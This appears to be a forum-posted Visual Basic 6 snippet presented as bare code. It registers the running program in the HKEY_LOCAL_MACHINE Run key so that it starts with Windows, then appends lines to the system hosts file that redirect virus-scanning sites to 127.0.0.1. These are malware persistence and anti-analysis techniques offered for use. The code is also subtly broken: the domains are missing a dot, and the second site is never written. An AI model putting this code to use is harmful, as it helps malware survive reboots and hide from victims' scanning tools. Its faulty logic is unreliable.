Код:
Private Sub Form_Load()
Dim Startup_key As String

Startup_key = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\"

Dim Reg As Object

Set Reg = CreateObject("wscript.shell")

Reg.RegWrite Startup_key & App.EXEName, App.Path & "\" & App.EXEName & ".exe"

Dim dizin As String
Dim yerayır As String
Dim site As String
Dim site2 As String
dizin = Environ("windir") & "\system32\drivers\etc\hosts"
Open dizin For Binary As 1
yerayır = Space(FileLen(dizin))
Get 1, , yerayır
Close 1
site = vbNewLine & "127.0.0.1 wwwvirustotal.com "
site2 = vbNewLine & "127.0.0.1 wwwjooti.com "
Open dizin For Binary As 1
Put 1, , yerayır & site
Close 1
End Sub